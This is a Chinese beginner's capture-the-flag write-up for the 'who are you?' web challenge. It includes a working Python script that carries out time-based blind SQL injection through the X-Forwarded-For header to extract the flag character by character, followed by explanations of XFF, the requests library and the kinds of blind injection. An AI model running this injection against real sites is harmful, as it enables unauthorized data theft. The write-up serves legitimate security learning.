CTFweb-writeup:who are you?

这是一个一点python和sql数据库都不会小白的学习心得(本篇文章很水,dalao看看就好,如有错误请指出,感谢!)

写这篇文章的原因:“没办法啊,我Ag学长说叫我干嘛就嘚干嘛呢,所以只能硬着头皮去找那些根本看不懂的东西来看啦”

那行吧,让我们开始开搞吧

(题目链接:http://ctf5.shiyanbar.com/web/wonderkun/index.php)

一、题解

1.CTF(Capture The Flag)顾名思义,夺旗赛!所以先明确目标,我们要得到一个形如flag{...}形式的文本。打开题目可以看到就只有你的ip,好吧管他三七二十一,先右键查看源代码!ummm然并卵,源代码跟没有似的。那咋办呢?百度、谷歌走起。

2.通过查找资料可以知道这道题需要写一个python脚本来获取答案。

import requests
import string
import time
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' 
flag=""
print("Start")  
for i in range(33):  
    for payload in payloads:  
        starttime = time.time()#记录当前时间  
        url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#题目url  
        headers = {"Host": "ctf5.shiyanbar.com",  
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",  
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",  
                   "Accept-Encoding": "gzip, deflate",  
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",  
                   "Connection": "keep-alive",  
                   "X-FORWARDED-FOR":"127.0.0.1' and case when ((select count(flag) from flag where flag like '"+flag+payload+"%')>0) then sleep(5) else sleep(0) end and '1'='1"  
                   }  
        #bp拿到header并对X-FORWARDED-FOR进行修改,后面语句大意为从flag中选择出flag,若首字母段为flag,payload变量拼接则sleep5秒,看不懂的可以学一下case when语句和like %语句  
        res = requests.get(url, headers=headers)  
        if time.time() - starttime > 5:  
            starttime2 = time.time()  
            res = requests.get(url, headers=headers)  
            if time.time() - starttime > 5:  
                flag += payload  
                print("flag is:%s"%flag)  
                break  
        else:  
            pass
            #print('',)#没啥解释的了,就是不断试payload,找到就接到flag上去然后继续试下一个  
print('\n[Finally] current flag is %s' % flag) 

(代码引用来自:http://www.xianxianlabs.com/2018/07/09/shiyanbar-ctf-web-writeup-2/)

3.什么鬼,根本看不懂。不管怎么样先,先跑一下这个代码试试,今天我们都是代码小子(手动滑稽)

(1)首先打开一个文本编辑器,比如我用的是开源的notepad++,然后新建将代码复制进去,另存为.py的文件,并且记住这个文件的路径哦。
(2)好的然后让我们打开cmd命令行,先用cd命令将自己目录切换到刚刚那个py文件的路径,使用方法:
CD [/D] [drive:][path]
举例:cd /d C:/Program Files
(3)切换路径后,就可以运行刚刚复制的python脚本啦,输入
python [files name].py
举例:python ctfsql.py
(4)相信刚装完python的同学会跟我出现一样的情况,在输入完(3)的语句之后会出现如下错误:

Traceback (most recent call last):
  File "", line 1, in 
ModuleNotFoundError: No module named 'requests'

这是因为,你没有安装requests模块呀。安装也很简单,cmd命令行里输入:
pip install requests
之后就慢慢等待安装吧~
如果安装好了之后,运行python脚本还是会报上面的错误的话,请参考:
https://blog.csdn.net/zzq900503/article/details/80283314

(5)ok之后就慢慢等待脚本一个字母一个字母读取啦,最后的flag{...}就是答案啦。

二、心得

光光解出这个题目并不是重点啦,让我们看看能学到什么。

1.X-Forwarded-For(xff):

X-Forwarded-ForXFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。——摘自维基百科

这个网址就是通过这个xff来获得你的ip地址的。

2.requests库
requests是python里面一个非常强大的库。它适合于人类使用的HTTP库,封装了许多繁琐的HTTP功能,极大地简化了HTTP请求所需要的代码量。很好的避免了意大利面代码。Requests 完全满足今日 web 的需求。

功能特性:

  • Keep-Alive & 连接池
  • 国际化域名和 URL
  • 带持久 Cookie 的会话
  • 浏览器式的 SSL 认证
  • 自动内容解码
  • 基本/摘要式的身份认证
  • 优雅的 key/value Cookie
  • 自动解压
  • Unicode 响应体
  • HTTP(S) 代理支持
  • 文件分块上传
  • 流下载
  • 连接超时
  • 分块请求
  • 支持 .netrc

具体用法请参考:http://docs.python-requests.org/zh_CN/latest/

3.sql盲注
这道题的核心。
(1)首先先说什么是sql注入,SQL注入攻击(SQL injection)是利用sql数据库指令的漏洞从而破坏服务器的一种攻击。说人话就是,输入一些服务器无法识别的sql恶意指令,从而对服务器造成破坏(如:数据泄露、数据破坏、网页篡改等)。
(2)ok,知道了sql注入,现在来看看什么时sql盲注吧。顾名思义,盲注是不能通过直接显示的途径来获取数据库数据的注入。根据返回的网页不同可以如下几种:

  • 布尔盲注(Booleanbase)
  • 时间盲注(Timebase)
  • 报错盲注(Errorbase)

平时我们改如何知道一个网页是否可以被注入呢?我们知道sql注入会让服务器的数据库有所变化,一般来讲当你注入成功时,服务器会返回一些东西。这是我们就知道服务器被注入了。但是有些网页的Web应用程序采取了“重定向”或“屏蔽”措施,这样返回出来的页面还是会显示正常。这是我们就需要一些特别的操作。
(3)虽然返回的页面没变,但其实当一个网站被注入时,返回的时间却有所不同。所以在这题就要用到时间盲注了。根据返回值的时间来判断是否注入成功。

三、最后

好啦,这些就是我根据这题所学到一些知识,不知道你学会了吗?第一次写文章呢,Markdown编辑器真好用呢(不过功能感觉少点,比如说改字体颜色什么的,可能是我没发现吧233),本人才疏学浅,所以找了很多的文章,看来要成为dalao的路还很长呢,我的目的是想让这篇文章成为适合全部人看的懂的科普哦!大部分的东西都来自互联网,下面是引用链接(可能不全):

https://blog.csdn.net/bear_n/article/details/53057716?locationNum=9&fps=1
http://docs.python-requests.org/zh_CN/latest/
http://www.xianxianlabs.com/2018/07/09/shiyanbar-ctf-web-writeup-2/
http://blog.51cto.com/qidai/1877775
https://blog.csdn.net/zzq900503/article/details/80283314

特别鸣谢:

Ag学长
scnu软协
正在阅读这篇文章的你(๑•̀ㅂ•́)و✧

你可能感兴趣的:(CTFweb-writeup:who are you?)